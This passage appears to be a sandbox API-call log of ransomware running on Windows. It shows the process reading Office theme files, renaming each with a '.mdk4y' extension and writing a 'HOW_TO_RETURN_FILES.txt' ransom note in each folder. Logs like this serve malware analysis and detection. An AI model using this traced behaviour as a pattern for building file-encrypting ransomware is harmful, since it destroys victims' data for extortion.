files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0115.499] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819072900000) returned 1 [0115.500] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x22b, lpOverlapped=0x0) returned 1 [0115.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819073000000) returned 1 [0115.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819073000000) returned 1 [0115.501] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf.mdk4y")) returned 1 [0115.502] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0115.502] AreFileApisANSI () returned 1 [0115.502] GetACP () returned 0x4e4 [0115.502] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFF", lpUsedDefaultChar=0x37dec0) returned 11 [0115.502] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0115.503] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819073300000) returned 1 [0115.503] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x621, lpOverlapped=0x0) returned 1 [0115.893] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819112300000) returned 1 [0115.894] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819112400000) returned 1 [0115.894] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.mdk4y")) returned 1 [0115.895] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0115.895] AreFileApisANSI () returned 1 [0115.895] GetACP () returned 0x4e4 [0115.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNG", lpUsedDefaultChar=0x37dec0) returned 12 [0115.896] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0115.930] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819116000000) returned 1 [0115.930] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6292, lpOverlapped=0x0) returned 1 [0115.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819119600000) returned 1 [0115.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819119600000) returned 1 [0115.966] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.mdk4y")) returned 1 [0115.967] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0115.967] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0115.967] AreFileApisANSI () returned 1 [0115.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0115.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0115.967] GetFileType (hFile=0x130) returned 0x1 [0115.968] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0115.968] AreFileApisANSI () returned 1 [0115.968] GetACP () returned 0x4e4 [0115.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ARCTIC", cchWideChar=6, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ARCTICON", lpUsedDefaultChar=0x37df4c) returned 6 [0115.968] AreFileApisANSI () returned 1 [0115.968] GetACP () returned 0x4e4 [0115.968] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=63, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\(œ") returned 63 [0116.009] AreFileApisANSI () returned 1 [0116.009] GetACP () returned 0x4e4 [0116.009] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 1 [0116.009] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.009] AreFileApisANSI () returned 1 [0116.009] GetACP () returned 0x4e4 [0116.009] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 2 [0116.009] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.009] AreFileApisANSI () returned 1 [0116.009] GetACP () returned 0x4e4 [0116.009] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ARCTIC.ELM", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ARCTIC.ELMtefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 10 [0116.009] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0116.026] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819125600000) returned 1 [0116.026] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x10fc7, lpOverlapped=0x0) returned 1 [0116.039] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819126900000) returned 1 [0116.039] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819126900000) returned 1 [0116.039] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.mdk4y")) returned 1 [0116.040] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.040] AreFileApisANSI () returned 1 [0116.040] GetACP () returned 0x4e4 [0116.040] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ARCTIC.INF", cchWideChar=10, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ARCTIC.INF", lpUsedDefaultChar=0x37dec0) returned 10 [0116.040] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0116.040] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819127000000) returned 1 [0116.040] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x201, lpOverlapped=0x0) returned 1 [0116.041] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819127100000) returned 1 [0116.041] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819127100000) returned 1 [0116.042] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf.mdk4y")) returned 1 [0116.042] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.042] AreFileApisANSI () returned 1 [0116.042] GetACP () returned 0x4e4 [0116.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 11 [0116.042] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0116.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819127300000) returned 1 [0116.043] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xba9, lpOverlapped=0x0) returned 1 [0116.232] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819146200000) returned 1 [0116.232] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819146200000) returned 1 [0116.232] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.mdk4y")) returned 1 [0116.234] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.234] AreFileApisANSI () returned 1 [0116.234] GetACP () returned 0x4e4 [0116.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 12 [0116.234] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0116.235] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819146500000) returned 1 [0116.235] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x4d44, lpOverlapped=0x0) returned 1 [0116.242] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819147200000) returned 1 [0116.242] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819147200000) returned 1 [0116.242] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.mdk4y")) returned 1 [0116.243] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0116.243] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0116.243] AreFileApisANSI () returned 1 [0116.243] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 87 [0116.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0116.244] GetFileType (hFile=0x130) returned 0x1 [0116.245] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0116.245] AreFileApisANSI () returned 1 [0116.245] GetACP () returned 0x4e4 [0116.245] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AXIS", cchWideChar=4, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AXISIC", lpUsedDefaultChar=0x37df4c) returned 4 [0116.245] AreFileApisANSI () returned 1 [0116.245] GetACP () returned 0x4e4 [0116.245] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=61, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\j筰kŕ") returned 61 [0116.259] AreFileApisANSI () returned 1 [0116.259] GetACP () returned 0x4e4 [0116.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0116.259] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.259] AreFileApisANSI () returned 1 [0116.259] GetACP () returned 0x4e4 [0116.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0116.259] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.259] AreFileApisANSI () returned 1 [0116.259] GetACP () returned 0x4e4 [0116.259] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AXIS.ELM", cchWideChar=8, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="AXIS.ELMAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 8 [0116.259] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0116.259] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819148900000) returned 1 [0116.260] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x189be, lpOverlapped=0x0) returned 1 [0116.333] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819156300000) returned 1 [0116.333] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819156300000) returned 1 [0116.334] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.mdk4y")) returned 1 [0116.335] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.335] AreFileApisANSI () returned 1 [0116.335] GetACP () returned 0x4e4 [0116.335] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AXIS.INF", cchWideChar=8, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="AXIS.INF", lpUsedDefaultChar=0x37dec0) returned 8 [0116.335] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0116.350] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819158000000) returned 1 [0116.350] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x211, lpOverlapped=0x0) returned 1 [0116.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819158100000) returned 1 [0116.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819158100000) returned 1 [0116.351] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf.mdk4y")) returned 1 [0116.352] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.352] AreFileApisANSI () returned 1 [0116.352] GetACP () returned 0x4e4 [0116.352] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0116.352] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0116.352] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819158200000) returned 1 [0116.352] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb20, lpOverlapped=0x0) returned 1 [0116.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819159600000) returned 1 [0116.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819159600000) returned 1 [0116.366] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.mdk4y")) returned 1 [0116.368] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0116.368] AreFileApisANSI () returned 1 [0116.368] GetACP () returned 0x4e4 [0116.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 12 [0116.368] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0116.369] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819160100000) returned 1 [0116.371] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8864, lpOverlapped=0x0) returned 1 [0116.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: 